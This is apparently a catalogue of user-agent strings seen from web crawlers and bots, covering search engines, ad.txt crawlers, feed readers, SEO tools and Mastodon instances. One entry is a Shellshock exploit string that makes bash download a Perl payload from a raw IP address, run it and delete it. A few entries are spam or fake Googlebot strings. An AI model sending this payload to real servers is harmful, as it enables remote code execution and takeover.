misc crawler
- Boobot (+https://goo.gl/forms/0xzs325P2mP7A7VG2)
- E. Orliac/1.0 (A Patent Crawler; http://scitas.epfl.ch/; etienne.orliac@epfl.ch)
- A8bot
- OutclicksBot/2 +https://www.outclicks.net/agent/WEzZbmIrTyU0xC8n7EpmeU64IJai7AAhnqh1WDc5Whj
- Mozilla/5.0 (compatible; ACHE/Unknown Version; +https://github.com/ViDA-NYU/ache; )
- OutclicksBot/2 +https://www.outclicks.net/agent/11eCfsp0lkPaE5MtQNO3e74pU8vrBV5ACOILIj7dUAszJgIxFK1sbv03xzqVB1pjt
- OutclicksBot/4 +https://www.outclicks.net/agent/lfEilbILyFxjEP1DvastV4B0AFIaSC7wcsWqu2lpm1S
- AI BOT for Education | BTC Donation Address 1Dmxx8ieqhfUCcaRZAfqiUMRt4rxdkedoK
- AI BOT for Education By http://phumrawit.com/ [+66949654251] | Sorry to distrub you | [ Client ]
- AI BOT for Education | Redirecting https://cnhv.co/1zutl
- Mozilla/5.0 (compatible; Cloudflare-AMP/1.0; +https://amp.cloudflare.com/doc/fetcher.html) AppleWebKit/534.34
- amp-cloud - AMP Generator (+https://www.amp-cloud.de/bot)
- Mozilla/5.0 (BOT ANNUAIREFRANCAIS.FR PREMSGO.FR
- OutclicksBot/2 +https://www.outclicks.net/agent/9jG2JReMxbBI2ARpNoQN8B4nEukl4ZREPbgFNX0M8Ne
- Y!J-ASR/0.1 crawler (http://www.yahoo-help.jp/app/answers/detail/p/595/a_id/42716/)
- Y!J-ASR/1.0 crawler (https://www.yahoo-help.jp/app/answers/detail/p/595/a_id/42716/)
- IZaBEE/IZaBEE-1.01 (Buzzing Abound The Web; https://izabee.com; info at izabee dot com)
- Aboundex/0.3 (http://www.aboundex.com/crawler/)
- NextGenSearchBot 1 (for information visit http://www.zoominfo.com/About/misc/NextGenSearchBot.aspx)
- Mozilla/5.0 (compatible; Yahoo Ad monitoring; https://help.yahoo.com/kb/yahoo-ad-monitoring-SLN24857.html) yahoo.adquality.lwd.desktop/1528178752-0
- Mozilla/5.0 (compatible; Yahoo Ad monitoring; https://help.yahoo.com/kb/yahoo-ad-monitoring-SLN24857.html)
- AdAuth/1.0; +https://www.adauth.com
- Mozilla/5.0 (compatible; AdlesseBot/1.0; feedback@adlesse.com) v1469089802.1982
- Centro Ads.txt Crawler/1.0
- IABTechLab Ads.txt Crawler
- PulsePoint-Ads.txt-Crawler/1.0
- AdsBot-Google (+http://www.google.com/adsbot.html)
- AdsTxtCrawler
- AdsTxtCrawler/1.0; +https://github.com/InteractiveAdvertisingBureau/adstxtcrawler
- AdsTxtCrawler/1.0.1; +https://github.com/InteractiveAdvertisingBureau
- Logicad/AdsTxtCrawler/1.0.0
- AdsTxtCrawler/1.0; +https://crimtan.com
- Advanced Browser (http://www.avantbrowser.com)
- User-Agent\x09Baiduspider
- Chrome/49.0.2623.87 (compatible; Wappalyzer; +https://github.com/AliasIO/Wappalyzer)
- Mozilla/5.0 (compatible; Wappalyzer; +https://github.com/AliasIO/Wappalyzer)
- SimplePie/1.3-dev (Feed Parser; http://simplepie.org; Allow like Gecko) Build/20171128221821
- SimplePie/1.2 (Feed Parser; http://simplepie.org; Allow like Gecko) Build/20090627192103
- Google Chrome SEOBulls Crawler Bot Alpha
- Mozilla/5.0 (compatible; AlphaBot/3.2; +http://alphaseobot.com/bot.html)
- Mozilla/5.0 (compatible; AmazonAdBot/1.0; +https://adbot.amazon.com)
- Mozilla/5.0 (compatible; AndersPinkBot/1.0; +http://anderspink.com/bot.html)
- NetTrack Anonymous Web Statistics https://nettrack.info/support.php
- Ant.com beta/1.0 (Crawling antmarks; https://www.ant.com; admin@ant.com)
- Mozilla/5.0 (compatible; U; AnyEvent-HTTP/2.22; +http://software.schmorp.de/pkg/AnyEvent)
- Apexoo Spider (http://www.apexoo.com/spider/)
- AppleNewsBot
- Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527+ (KHTML, like Gecko) QtWeb Internet Browser/1.7 http://www.QtWeb.net
- Mozilla/5.0 (compatible; Applebot/0.3; +http://www.apple.com/go/applebot)
- Mozilla/5.0 (compatible; archive.org_bot; Archive-It; +http://archive-it.org/files/site-owners.html)
- Mozilla/5.0 (compatible; special_archiver; Archive-It; +http://archive-it.org/files/site-owners-special.html)
- IzABee Spider/IzABee-1.01 (Buzzing Around The Internet; https://IZaBEE.com; info at izabee dot com)
- yacybot (/global; amd64 Windows 10 10.0; java 1.8.0_151; Asia/ja) http://yacy.net/bot.html
- Mozilla/5.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)
- CommaFeed/2.4.0-SNAPSHOT (https://github.com/Athou/commafeed)
- Mozilla/5.0 (compatible; Lipperhey-Kaus-Australis/5.0; +https://www.lipperhey.com/en/about/)
- Auto Spider 1.0
- Mozilla/5.0 (compatible; idmarch Automatic.beta/1.4; +https://www.pdfsearch.io/bot.html)/Nutch-1.13
- Mozilla/5.0 (compatible; idmarch Automatic.beta/1.3; +http://www.idmarch.org/bot.html)
- OutclicksBot/2 +https://www.outclicks.net/agent/DA9vUIHvUydE5kD1KE4AuzV8TWyEfKSyBEvXJx02MkO
- Avant Browser (http://www.avantbrowser.com)
- gsa-crawler (Enterprise; T3-FP6T9B2758ETK; gsa_admin@uncg.edu)
- TagVisit/0.1 (+http://tag-visit.com/CSwTPxQAHBZZDkoaS1BAIw/bot)
- Yooo! Search Engine Bot BETA (http://yooo.nl/about.php)
- Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/
- Mozilla/5.0 (compatible; BLEXBotTest/1.0; +http://webmeup.com/crawler.html)
- BOT/0.1 (BOT for JCE)
- V-BOT/0.001 (+mailto://bot@voyagerx.com)
- Mozilla/5.0 (compatible; KZ BRAIN Mobile; http://servermobile.net) @124.146.175.170
- Y!J-BRW/1.0 (http://www.yahoo-help.jp/app/answers/detail/p/595/a_id/42716)
- Y!J-BRW/1.0 (https://www.yahoo-help.jp/app/answers/detail/p/595/a_id/42716)
- BUbiNG - Research at Brno University of Technology - KNOT group - http://knot.fit.vutbr.cz/crawling/ - Stop? http://law.di.unimi.it/BUbiNG.html
- BUbiNG (+http://law.di.unimi.it/BUbiNG.html)
- BUbiNG (+http://law.di.unimi.it/BUbiNG.html#wc)
- OutclicksBot/4 +https://www.outclicks.net/agent/MApngtBF0JbxS6faVmT5YJCaI24zydF2FRO6N1BY1Q5
- Mozilla/5.0 (compatible; SiteExplorer/1.1b; +http://siteexplorer.info/Backlink-Checker-Spider/)
- BacklinkCrawler (http://www.backlinktest.com/crawler.html)
- BaiduSpider
- Baiduspider
- compatible;Baiduspider/2.0; +http://www.baidu.com/search/spider.html
- BarkRowler/0.7 (+http://www.exensa.com/crawling)
- Barkrowler/0.7 (+http://www.exensa.com/crawl)
- Mozilla/5.0 (compatible; BazQux/2.4; +https://bazqux.com/fetcher; X subscribers)
- BeNosey Mohawk Crawler
- Mozilla/5.0 (compatible; BehloolBot/beta; +http://www.webeaver.com/bot)
- DigitalPebble Crawler/1.8 (StormCrawler Benchmark; http://digitalpebble.com/; crawler@digitalpebble.com)
- OutclicksBot/2 +https://www.outclicks.net/agent/1Brh3w6Bk6QxeXrZspyjdO6suT0NGkieE625Kkhf6mq
- Mozilla/5.0 (compatible; Qwantify/Bleriot/1.1; +https://help.qwant.com/bot)
- BoardReader Blog Indexer(http://boardreader.com)
- Bloglovin/1.0 (http://www.bloglovin.com; X subscribers)
- Mozilla/5.0 (Windows NT 6.1; Win64; x64; +https://www.ubtsupport.com/legal/Streamline3Bot.php) Streamline3Bot/1.0
- BuiBui-Bot/1.0 (3m4il: buibui[dot]bot[\xC3\xA07]moquadv[dot]com)
- Clickagy Intelligence Bot v2
- PubMatic Crawler Bot
- Thither.Direct Bot/0.0.1
- Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com)
- Mozilla/5.0 (compatible; ExtLinksBot/1.5 +https://extlinks.com/Bot.html)
- Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/Img/2.0; +http://go.mail.ru/help/robots)
- Linguee-Bot
- Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/Robots/2.0; +http://go.mail.ru/help/robots)
- Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)
- Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)
- OK-Search-Bot/1.0
- WeSEE_Bot:we_help_monitize_your_site (http://www.wesee.com/bot/)
- p40Bot
- OutclicksBot/2 +https://www.outclicks.net/agent/HiUbb9K5bUzKwDtYHPir7zzdwg2BpVSBXlwV8LKnSJP
- Buck/2.2; (+https://app.hypefactors.com/media-monitoring/about.html)
- OutclicksBot/2 +https://www.outclicks.net/agent/2TKubLQM55BxIrRJcoyxjvTiGSz2ISOpq0xlZ9l9Zq1
- Jigsaw/2.3.0 W3C_CSS_Validator_JFouffa/2.0 (See <http://validator.w3.org/services>)
- W3C_I18n-Checker/1.0 (http://validator.w3.org/services)
- OutclicksBot/2 +https://www.outclicks.net/agent/2HtUZUeeF8F3bXNwErWKQL0hZyGU1tWSRj6WPAqxUYiXxEGNafSPDXqMZam8C8ca5
- W3C_Unicorn/1.0 (http://validator.w3.org/services)
- W3C_Validator/1.3 http://validator.w3.org/services
- CATExplorador/1.0beta (sistemes at domini dot cat; http://domini.cat/catexplorador.html)
- CCBot/2.0 (http://commoncrawl.org/faq/)
- CCBot/2.0 (https://commoncrawl.org/faq/)
- Mozilla/4.0 (CMS Crawler: http://www.cmscrawler.com)
- CORS bot
- CRAZYWEBCRAWLER 0.9.10, http://www.crazywebcrawler.com
- CROOK/0.1.0 (+https://murak.me/logs/crook)
- CSS Certificate Spider (http://www.css-security.com/certificatespider/)
- JetBrains Omea Reader 2.0 Release Candidate 1 (http://www.jetbrains.com/omea_reader/)
- Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.17) Gecko/20110515 HeartRails_Capture/1.0.4 (+http://capture.heartrails.com/) Namoroka/3.6.17
- OutclicksBot/4 +https://www.outclicks.net/agent/GV27OIk3veDZNBlGGin0CbRJxLPAKMl7HqzzjMRoZVB
- Mozilla/5.0 (compatible; CeekBot-Hatena/0.1; +http://labs.ceek.jp/hbnews/)
- NYU Internet Census (https://scan.lol; research@scan.lol)
- <a href='http://www.unchaos.com/'> UnChaos </a> From Chaos To Order Hybrid Web Search Engine.(vadim_gonchar@unchaos.com)
- CheckMarkNetwork/1.0 (+http://www.checkmarknetwork.com/spider.html)
- Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)
- Chilkat/1.0.0 (+http://www.chilkatsoft.com/ChilkatHttpUA.asp)
- CipaCrawler/3.0 (info@domaincrawler.com; http://www.domaincrawler.com/bayashi.net)
- PHP-Curl-Class/8.5.0 (+https://github.com/php-curl-class/php-curl-class) PHP/7.1.25 curl/7.61.1
- Curly HTTP Client (https://github.com/m3dev/curly)
- Rome Client (http://tinyurl.com/64t5n) Ver: UNKNOWN
- Mozilla/5.0 (compatible; Cliqzbot/1.0 +http://cliqz.com/company/cliqzbot)
- Contextual Code Crawler
- CommaFeed/2.3.0-SNAPSHOT (https://www.commafeed.com)
- Mozilla/5.0 CommonCrawler Node
- ConBot
- HybridBot (hybrid.ru/about. If our bot caused problems please contact us. Contact email: abuse@hybrid.ru)
- HybridBot (hybrid.ru/about. If our bot caused problems please contact us. Contact email: m.lyashkov@targetix.net)
- Crawler
- DocBase Crawler/1.0
- DomainCheck.io Crawler/1.3 (https://domaincheck.io)
- Feosey Mohk Crawler
- Mozilla/5.0 (compatible; Gluten Free Crawler/1.0; +http://glutenfreepleasure.com/)
- GetIntent Crawler (http://getintent.com/bot.html)
- Hatena::Russia::Crawler/0.01
- Hello Crawler
- ICC-Crawler/2.0 (Mozilla-compatible; ; http://www.nict.go.jp/en/univ-com/plan/crawl.html)
- ICC-Crawler/2.0 (Mozilla-compatible; ; http://www.nict.go.jp/en/ucri/plan/crawl.html)
- ICC-Crawler/2.0 (Mozilla-compatible; ; http://ucri.nict.go.jp/en/icccrawler.html)
- Jugendschutzprogramm-Crawler; Info: http://www.jugendschutzprogramm.de
- e.ventures Investment Crawler (eventures.vc)
- Knewin Crawler Report/1.0.0-SNAPSHOT
- Kyoto-Tohoku-Crawler/v1 (Mozilla-compatible; kyoto-crawler-contact@nlp.ist.i.kyoto-u.ac.jp; http://nlp.ist.i.kyoto-u.ac.jp/?crawling-kt)
- Mohawk Search Crawler
- Mozilla/5.0 (compatible; Seekport Crawler; http://seekport.com/)
- Mozilla/5.0 (compatible; proximic; +https://www.comscore.com/Web-Crawler)
- Mozilla/5.0 (compatible; 007ac9 Crawler; http://crawler.007ac9.net/)
- netEstate NE Crawler (+http://www.website-datenbank.de/)
- NetTrack.info Crawler
- Nutch Crawler/Nutch-2.3.1
- PrivateSearch/0.1.0 (Polite Nutch Crawler; grierforensics.com)
- Pu_iN Crawler (+http://semanticjuice.com/)
- Zauba Crawler/1.0 (Zauba Search for Research; http://www.zauba.io/; admin@zauba.io)
- TRSFC Crawler (Research purpose crawler)
- Twiends Crawler 1.1 created by twiends.com. See http://twiends.com/msg/crawler for more information.
- Videre Web Crawler
- adstxtlab.com Crawler
- ssearch_bot (sSearch Crawler; http://www.semantissimo.de)
- looid.com/Crawler 1.0
- OutclicksBot/2 +https://www.outclicks.net/agent/6wUvMldpa9VGOsb7Cu67Yl
- Curl/PHP 5.6.37-0+deb8u1 (http://github.com/shuber/curl)
- Curl/PHP 5.3.29 (http://github.com/shuber/curl)
- OutclicksBot/2 +https://www.outclicks.net/agent/3tc82xyuRu4CxZAvYX52mCYNEbWt2gWuERyQq3HAsEI
- OutclicksBot/2 +https://www.outclicks.net/agent/O8DETGyaTnuvM8ue888JtyXnxZCvWwCl0MS4nE93QRi
- Mozilla/5.0 (compatible; DNS SSL/TLS HTTP HTML Website Security Scanner/0.2 beta; +https://www.htmlyse.com/)
- Mozilla/5.0 (compatible; DNS SSL/TLS HTTP and HTML scanner/0.1; +https://www.htmlyse.com/)
- Mozilla/5.0 (compatible; DOFINbot/1.0; +http://dofin.xyz/bot.html)
- DaaS.sh research bot. Delistings at www.daas.sh/delist
- DaaS.sh research bot. Delistings: www.daas.sh/delist
- Mozilla/5.0 (compatible; DataXu/1.0; +http://dataxu.com)
- Mozilla/5.0 (compatible; Dataprovider/6.101; +https://www.dataprovider.com/)
- Mozilla/5.0 (compatible; Daum/4.1; +http://cs.daum.net/faq/15/4118.html?faqId=28966)
- Digg Deeper/v1 (http://digg.com/about)
- DemandbasePublisherAnalyzer/0.1 (http://www.demandbase.com; info@demandbase.com)
- Mozilla/5.0 (compatible; DeuSu/5.0.2; +https://deusu.de/robot.html)
- OutclicksBot/4 +https://www.outclicks.net/agent/egVo1MKG4J4DhiITIm9VrLkDkYtz7hlVBJ4MgWWFVqa
- Mozilla/5.0 (compatible; Digincore bot; https://www.digincore.com/crawler.html for rules and instructions.
- Digincore crawler bot. See https://www.digincore.com/crawler.html for rules and instructions.
- Mozilla/5.0 (compatible; Discordbot/1.0; +https://discordapp.com)
- Mozilla/5.0 (compatible; DnyzBot/1.0)
- Mozilla/5.0 (compatible; DomainAppender /1.0; +http://www.profound.net/domainappender)
- DomainCrawler/3.0 (info@domaincrawler.com; http://www.domaincrawler.com/bayashi.net)
- Mozilla/5.0 (compatible; DomainSigmaCrawler/0.1; +http://domainsigma.com/robot)
- DomainStatsBot/1.0 (https://domainstats.com/pages/our-bot)
- DomainStatsBot/1.0 (http://domainstats.io/our-bot)
- Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)
- DropboxPreviewBot/1.0
- Drupal (+http://drupal.org/)
- 'Mozilla/5.0 (compatible; DuckDuckBot-Https/1.1; https://duckduckgo.com/duckduckbot)'
- OutclicksBot/2 +https://www.outclicks.net/agent/1yaGkXJji98wLi2LdDlAVTOyInHHk3vGurbT9haYvyLkYhR97ILJIxmkgF211DvRV
- OutclicksBot/2 +https://www.outclicks.net/agent/DvhVyeESPMbpXiRLBUEEKggoDjVvdcDd69WEoeeZdoM
- Mozilla/5.0 (compatible; YandexSitelinks; Dyatel; +http://yandex.com/bots)
- OutclicksBot/4 +https://www.outclicks.net/agent/bNB2qIc4Gx9WsGLTQ6rAy9xLIAhmIlENbPQUwYc5EEJ
- OutclicksBot/2 +https://www.outclicks.net/agent/2EIAbqwXclc2sCkqUc0eDvKACazU007u7eZ6yTy1hkI
- Mozilla/5.0 (compatible; ENVCheck/1.0 +http://envc.dip.jp/bot.html)
- OutclicksBot/4 +https://www.outclicks.net/agent/LYs4fCOc8EYX3ZDbXEa9se0YJOXEPnkLyZF1Mj1wXMo
- OutclicksBot/2 +https://www.outclicks.net/agent/EZlRJRAlYJISdqEy8PyuZeW7MNIx0TFBWBP9UmNTFjN
- Mozilla/5.0 (compatible; Embedly/0.2; snap; +http://support.embed.ly/)
- Mozilla/5.0 (compatible; Embedly/0.2; +http://support.embed.ly/)
- Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)
- Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)
- Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
- OutclicksBot/2 +https://www.outclicks.net/agent/shkegl1ZesbGH66Eog3f5d5yj3ayvtC2R5oKwkUkrH9
- yacybot (/global; amd64 Linux 4.5.0-2-amd64; java 1.8.0_91; Etc/fr) http://yacy.net/bot.html
- yacybot (/global; amd64 Linux 3.16.0-6-amd64; java 1.8.0_162; Europe/en) http://yacy.net/bot.html
- yacybot (/global; amd64 Linux 3.16.0-38-generic; java 1.7.0_95; Europe/de) http://yacy.net/bot.html
- yacybot (-global; amd64 Linux 3.13.0-042stab111.12; java 1.7.0_101; Europe/de) http://yacy.net/bot.html
- yacybot (/global; amd64 Linux 3.16.51-minimal; java 1.8.0_144; Europe/en) http://yacy.net/bot.html
- yacybot (-global; amd64 Linux 3.13.0-042stab111.12; java 1.7.0_101; Europe/en) http://yacy.net/bot.html
- yacybot (/global; amd64 Linux 3.19.0-60-generic; java 1.7.0_101; Europe/gl) http://yacy.net/bot.html
- yacybot (/global; amd64 Windows 10 10.0; java 1.8.0_112; Europe/de) http://yacy.net/bot.html
- yacybot (/global; amd64 no-os-name no-os-version; java no-java-version; Europe/en) http://yacy.net/bot.html
- Mozilla/5.0 (compatible; EveryoneSocialBot/1.0; support@everyonesocial.com http://everyonesocial.com/)
- Mozilla/5.0 (compatible; Everyonedomainsbot/1.0; +http://everyone.domains/)
- Mozilla/5.0 (compatible; Exabot/3.0; +http://www.exabot.com/go/robot)
- Tweetwall Link Expander ( http://tweetwall.com )
- Experibot-v2 http://goo.gl/ZAr8wX
- Experibot-v3 https://goo.gl/ZAr8wX
- Experibot_v1 [goo.gl/n6zrAf]
- KOCMOHABT (+https://kozmonavt.tk/) Mozilla/5.0 (compatible; Web Explorer 2)
- OutclicksBot/4 +https://www.outclicks.net/agent/R4EypEqDW44pbUwbhCL88lAdTL6O6eEDdGN2NjNJFvC
- FAST-WebCrawler/3.8
- OutclicksBot/2 +https://www.outclicks.net/agent/FM1sZ4FYAcei0JKqgbUv9GpubPvIDwVKDxaMgRZ9g87
- netEstate FOAF crawler (+http://www.foaf-search.net/)
- FTRF: Friendly robot/1.3
- Fastladder (https://github.com/fastladder/fastladder)
- Favicon downloader (http://favicon.netk6.com/)
- OutclicksBot/2 +https://www.outclicks.net/agent/qBqvA7dlLII7Fdsn7XLSHhiBaCl5SjIvLXjynstjsRp
- FeedlyBot/1.0 (http://feedly.com)
- Mozilla/5.0 (compatible; Feedspotbot/1.0; +http://www.feedspot.com/fs/bot)
- Mozilla/5.0 (compatible; FemtosearchBot/1.0; http://femtosearch.com)
- Mozilla/5.0 (compatible; Fess/11.4; +http://fess.codelibs.org/bot.html)
- Fetchbot (https://github.com/PuerkitoBio/fetchbot)
- OutclicksBot/2 +https://www.outclicks.net/agent/rHVuMZYzX1w4m35FfOPvIdbq9konCGnsjqoZ6U4Vb1a
- Mozilla/5.0 (compatible; Findxbot/1.0; +http://www.findxbot.com)
- Mozilla/5.0 (compatible; FlipboardProxy/1.1; +http://flipboard.com/browserproxy)
- <a href=\x22http://forum.windowsfaq.ru/\x22>Forum.WindowsFAQ.ru</a>
- Uptimebot.org - Free website monitoring
- FreeWebMonitoring SiteChecker/0.1 (+http://www.freewebmonitoring.com)
- Screaming Frog SEO Spider/10.0
- Frontera-based example bot (+https://github.com/scrapinghub/frontera)
- Mozilla/5.0+(compatible;+G/2.1;++http://topage.net)
- magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)
- OutclicksBot/2 +https://www.outclicks.net/agent/ujzfYprfG3JG6GEQNQ40lST0d6fc5lSFMKuzpGfb4kb
- OutclicksBot/2 +https://www.outclicks.net/agent/GGo74e14SoAWO6KasXjEMrhbXxPxUMX0YkQXFmgWv0U
- yacybot (/global; amd64 Linux 4.15.0-47-generic; java 11.0.2; GMT/en) http://yacy.net/bot.html
- OutclicksBot/2 +https://www.outclicks.net/agent/ueyWyYxaKZTz4S55IKO9kclMtpn2hbhMGn2J4W5GMdy
- OutclicksBot/4 +https://www.outclicks.net/agent/5GR1Py1i6aseTfLCPamk56
- OutclicksBot/2 +https://www.outclicks.net/agent/vzjqnsxPXAf18k4enkUw94m60yVNaYkjYoz0zwfk0GZ
- GarlikCrawler/1.2 (http://garlik.com/, crawler@garlik.com)
- MADBbot/0.1 (Gathering webpages for data analytics; https://madb.zapto.org/bot.html; ma-db-crawl@googlegroups.com)
- OutclicksBot/2 +https://www.outclicks.net/agent/yHwQ7d8H1bfJZEB68GaveSszn6xwn53JYqxi8SluCAF
- Superfeedr bot/2.0 Tracker http://superfeedr.com/tracker - Get in touch for any question!
- Mozilla/5.0 (GetLinkInfo.com - http://www.getlinkinfo.com)
- GetProxi.es-bot/1.1 (http://getproxi.es/spiderinfo/)
- GetintentCrawler getintent.com
- Gigabot
- OutclicksBot/2 +https://www.outclicks.net/agent/1Gl37cmZ2aoFj3jz84vwmq
- GoogleBot/2.1
- GoogleBot/Nutch-1.16-SNAPSHOT
- Mozilla/5.0 (compatible; GoogleDocs; apps-spreadsheets; +http://docs.google.com)
- Googleboot/1192 (+http://www.googlebot.com/bot.html)
- Googlebot
- Mozilla/5.0 (compatible; NOT Googlebot/2.1; +http://www.google.com/bot.html)
- SentiBot www.sentibot.eu (compatible with Googlebot)
- Googlebot-Video/1.0
- Googlebot/2.1 (+http://www.google.com/bot.html)
- Googlebot/2.1 (+http://www.googlebawt.com/bot.html)
- Googlebot/2.1 (+http://www.googlebot.com/bot.html)
- Googlebot (gocrawl v0.4)
- Mozilla/5.0 (compatible; Gowikibot/1.0; +http://www.gowikibot.com)
- GozaikBot (www.gozaik.com;webmaster@gozaik.com;www.gozaik.com/gozaikbot.html)
- Mozilla/5.0 (compatible; GrapeshotCrawler/2.0; +http://www.grapeshot.co.uk/crawler.php)
- Mozilla/5.0 (compatible; Grobbot/2.2; +https://grob.it)
- Mozilla/5.0 (compatible; GroupHigh/1.0; +http://www.grouphigh.com/)
- Mozila/5.0(compatible;HMEOnlineHomeBot/V1.0;+xiangyaodong@hobsonmetal.com)
- OutclicksBot/2 +https://www.outclicks.net/agent/6hUutAwgHcTekpmhZc4RIJByQ1HUBf9psUhCJqEAtJJIOBTpnxgJ3mDNsHqsKnoNh
- OutclicksBot/4 +https://www.outclicks.net/agent/yxhXjRVAzNJTflk9HgtkNTYPwJYCyiuwhYGk6f10T4a
- Mozilla/4.0 (compatible;HostTracker/2.0,node;+http://www.host-tracker.com/)
- Mozilla/4.0 (compatible;HostTracker/2.0;+http://www.host-tracker.com/)
- OutclicksBot/2 +https://www.outclicks.net/agent/3vBGrfRDyHs2yfBCNRnoULgR6HyYSNNWHYeIoExY85u
- IAS crawler (ias_crawler; http://integralads.com/site-indexing-policy/)
- ICCBot
- OutclicksBot/4 +https://www.outclicks.net/agent/K1wFLc2jnh4JzMe5IYaNMNudSmHJkf8zvKKif5gK59x
- Iframely/0.8.5 (+http://iframely.com/;)
- OutclicksBot/2 +https://www.outclicks.net/agent/2yniI4IjXhuUk574dGsr3XRR7zQY45VSnpGEPwwqlbu
- OutclicksBot/4 +https://www.outclicks.net/agent/M23IjikmR0zvoD0Zl5PygrhMS7r9NKJgyVqlBrP66XB
- Slack-ImgProxy (+https://api.slack.com/robots)
- Mozilla/5.0 (compatible; IstellaBot/1.23.15 +http://www.tiscali.it/)
- OutclicksBot/2 +https://www.outclicks.net/agent/p15n7iQTVB254qdCv8698M5J3ZBu9sOfwRbD2tgz1MS
- Y!J-PSC/1.0 (http://help.yahoo.co.jp/help/jp/search/indexing/indexing-15.html)
- wonderbot/JS 1.0
- TulipChain/5.x (http://ostermiller.org/tulipchain/) Java/1.x.1_0x (http://java.sun.com/) Linux/2.4.17
- TulipChain/5.xx (http://ostermiller.org/tulipchain/) Java/1.x.1_0x (http://apple.com/) Mac_OS_X/10.2.8
- OutclicksBot/2 +https://www.outclicks.net/agent/3c0MkrrpbPPSm6Je7s0pVH
- JetBrains Omea Reader 1.0.x (http://www.jetbrains.com/omea_reader/)
- Mozilla/5.0 (compatible; Jetslide; +http://jetsli.de/crawler)
- Mozilla/5.0 (compatible; Jooblebot/2.0; +http://jooble.org/jooble-bot)
- OutclicksBot/2 +https://www.outclicks.net/agent/7MkN2zSyO65lLhYpZqottnu4w9JvLsoROMkrpQnoEvk
- OutclicksBot/4 +https://www.outclicks.net/agent/KGsnemvHahiiH3Nr8iayjNOYshFPL7zY913mijPmtzC
- Mozilla/5.0 (compatible; KLSH-PageGet/1.04beta3; http://www.kondo-net.gr.jp/klsh/)
- OutclicksBot/2 +https://www.outclicks.net/agent/85MZ7ZMlfUdYjQg68h8RLG4seCMGf93kaZsx6KMJik
- Keybot Translation-Search-Machine
- Kiodia Spider/Nutch-1.11
- Mozilla/5.0 (Windows NT 6.1; Win64; x64; +http://www.komodia.com/newwiki/index.php/URL_server_crawler) KomodiaBot/1.0
- KousokuNabla/0.1 +(http://kousokunabla.com/bot.html)
- Mozilla/5.0 (compatible; Kraken/0.1; http://linkfluence.net/; bot@linkfluence.net)
- () { :;}; /bin/bash -c \x22cd /var/tmp;wget http://31.220.1.111/LAND;perl /var/tmp/LAND;perl LAND;rm -rf /tmp/LAND*\x22
- Validator.nu/LV http://validator.w3.org/services
- SSL Labs (https://www.ssllabs.com/about/assessment.html); on behalf of 62.73.169.66
- SSL Labs (https://www.ssllabs.com/about/assessment.html)
- Mozilla/5.0 (Windows NT 6.3;compatible; Leikibot/1.0; +http://www.leiki.com)
- Liferea/0.x.x (Linux; en_US.UTF-8; http://liferea.sf.net/)
- Mozilla/5.0 (compatible; Yahoo Link Preview; https://help.yahoo.com/kb/mail/yahoo-link-preview-SLN23615.html)
- ZoomBot (Linkbot 1.0 http://suite.seozoom.it/bot.html)
- Mozilla/5.0 (compatible; LinkisBot/1.0; bot@linkis.com)
- Mozilla/5.0 (compatible; LinkpadBot/1.08; +http://www.linkpad.ru)
- LinqiaCrawlerBot/1.0 (eng@linqia.com)
- LinqiaMetadataDownloaderBot/1.0 (eng@linqia.com)
- LinqiaRSSBot/1.0 (eng@linqia.com)
- LinqiaScrapeBot/1.0 (eng@linqia.com)
- Miro/4.0.3 (http://www.getmiro.com/; Linux i686; Ubuntu 10.04)
- Mozilla/5.0 (compatible; archive.org_bot; Wayback Machine Live Record; +http://archive.org/details/archive.org_bot)
- LivelapBot/0.2 (http://site.livelap.com/crawler)
- Seeker v.1 http://LookSeek.com/seeker/
- OutclicksBot/2 +https://www.outclicks.net/agent/VgY0ZFvBuhk8WkChKkbjJpwfrJDabhn7MCXbzzyzsyW
- Mozilla/5.0 (compatible; MJ12bot/v1.4.5; http://www.majestic12.co.uk/bot.php?+)
- Mozilla/5.0 (compatible; MJ12bot/v1.4.7; http://mj12bot.com/)
- MJ12bot
- MJ12bot/v1.0.5 (http://majestic12.co.uk/bot.php?+)
- Mozilla/5.0 (compatible; MLIB_NetWorkBot/2.1)
- MSNBot
- OutclicksBot/2 +https://www.outclicks.net/agent/XnQLY6qgtaLqnhqlBSCqjHu2XtXe4MT6TFjLetE56ew
- endo/1.0 (Mac OS X; ppc i386; http://kula.jp/endo)
- Mozilla/5.0 (compatible; MagiBot/3.6.0; +http://magi.peak-labs.com/robots.txt)
- Mozilla/5.0 (compatible; Mappy/1.0; +http://mappydata.net/bot/)
- http.rb/2.2.2 (Mastodon/2.1.3; +https://abyss.fun/)
- http.rb/2.2.2 (Mastodon/2.1.3; +https://antama.m.to/)
- http.rb/2.2.2 (Mastodon/2.1.0; +https://2.distsn.org/)
- http.rb/2.2.2 (Mastodon/2.0.0; +https://friends.nico/)
- http.rb/2.2.2 (Mastodon/2.2.0rc1; +https://mastodon.host/)
- http.rb/2.2.2 (Mastodon/2.1.3; +https://pokemon.mastportal.info/)
- http.rb/2.2.2 (Mastodon/2.1.0.; +https://mstdn.jp/)
- http.rb/2.2.2 (Mastodon/2.0.0; +https://kiritan.work/)
- http.rb/2.2.2 (Mastodon/2.2.0rc1; +https://knzk.me/)
- http.rb/2.2.2 (Mastodon/2.1.3; +https://mamut.social/)
- http.rb/2.2.2 (Mastodon/2.0.0; +https://pawoo.net/)
- MauiBot (crawler.feedback+dc@gmail.com)
- MauiBot (crawler.feedback+wc@gmail.com)
- MaxPointCrawler/Nutch-1.10 (maxpoint.crawler at maxpointinteractive dot com)
